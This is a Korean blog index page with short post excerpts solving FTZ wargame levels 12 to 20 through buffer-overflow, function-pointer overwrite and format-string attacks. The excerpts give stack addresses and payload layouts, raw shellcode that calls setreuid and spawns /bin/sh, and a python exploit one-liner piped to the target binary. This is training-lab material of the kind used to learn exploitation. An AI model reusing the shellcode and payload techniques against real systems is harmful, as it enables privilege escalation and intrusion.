본문 바로가기

시스템 해킹/FTZ30

level 20 fgets로 79자만 받으므로 버퍼오버플로우 공격 문제가 아니다.printf를 활용하는포맷스트링어택을 해야 한다. %8x를 4번 썼을때 41414141이 출력된다. 에그쉘을 만들어주고에그쉘의 주소를 구한다. 에그쉘의 주소를 십진수로 바꾸면엄청나게 큰 수가 나오므로, 두 수로 나눈다f2c5 & bfff0xf2c5=621490xbfff=4915149151>62149 만족하지 않으므로1bfff-f2c5=52538로 대체한다. RET의 주소를 구하려 하였으나,gdb에서 disas main이 먹히지 않는다.구글링을 통해이런 경우,, 를 깨달았다. .dtors는 main함수가 끝나고 실행이 되는 명령이 있는 곳이라고 합니다.08049594+4 인곳이 RET이다. 0x08049598:RET이므로 0x08049598에.. 2016. 10. 12.
level 19 ebp: 0xbffff078gets 시작되는 부분: 0xbffff050 A*44+RET부분!이때 써주는 쉘코드는setreuid()을 포함하는 쉘코드이어야 한다!!\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80 2016. 10. 12.
level 18 꽤 까다로운 코드이다.check에 0xdeadbeef가 들어가야 한다. string->check->x->count순으로 스택에 쌓이고, 주소값이 작아진다.따라서, string을 이용해 버퍼오버플로우를 시킬수없다. 그러므로, string[음수값]을 이용한다. count--을 이용해야 한다. 을 통해str: ebp-100check: ebp-104 x: ebp-108 count: ebp-112 임을 알 수 있다. count를 -4로 만든다음,, check를 deadbeef로 만들 수 있다. 2016. 10. 12.
level 17 call 부분에 printit 대신 에그쉘을 불러오게 해보자! ebp: 0xbfffedf8call: ebp-16fgets: 0xbfffedc0 A*40+에그쉘 주소 2016. 10. 12.
level 16 버퍼오버플로우! call은 함수포인터이다.call 이 printit을 가리키는 것이 아닌 shell함수를 가리키게 하자! printit함수와 shell함수가 어디에 위치하는지 확인 0x0804851e : movl $0x8048500,0xfffffff0(%ebp)이므로 ebp-16에 printit이 아닌 shell을 넣기 위해ebp-16에 0x80484d0을 넣는다. ebp: 0xbffff6f8 ebp-16-> 0x80484d0 fgets 시작부분: 0xbffff6c0 A*40+0x80484d0 2016. 10. 12.
level 15 1. 버퍼오버플로우2. *check==0xdeadbeef 0x080484ad : mov 0xfffffff0(%ebp),%eax0x080484b0 : cmpl $0xdeadbeef,(%eax)이부분이 힌트이다! ebp: 0xbffff678check: ebp-16 deadbeef: 0x80484b2 fgets 부분: 0xbffff640 A*40+\xb2\x84\x04\x08"+A*12+A*4+RET부분! 2016. 10. 12.
level 14 1. 버퍼오버플로우2. check==0xdeadbeef cmpl 0xdeadbeef, 0xfffffff0(%ebp)이 부분이 힌트이다. ebp: 0xbffff878 check: ebp-16 fgets 시작되는 부분:0xbffff840 A*40+0xdeadbeef+A*12+A*4+RET부분! 2016. 10. 12.
level 13 1. 버퍼오버플로우2. i==0x1234567이 되어야 한다. cmpl 0x1234567, 0xfffffff4(%ebp)이곳이 힌트이다. ebp: 0xbfffe1c8 i: 0xbfffe1bc strcpy시작: 0xbfffddb0 1036*A+"\x01234567"+8*A+4*A+RET이다. 2016. 10. 12.
level 12 버퍼오버플로우를 사용한다!ebp 주소: 0xbffff278 gets시작되는 주소: 0xbffff170 0xbffff278-0xbffff170=264264+4=268268byte 뒤의 4byte가 RET 부분! [level12@ftz level12]$ (python -c 'print "A"*268+"\x88\xf5\xff\xbf"+"\x90"*3000+ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x8 9\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"';cat)|./attackme 2016. 10. 12.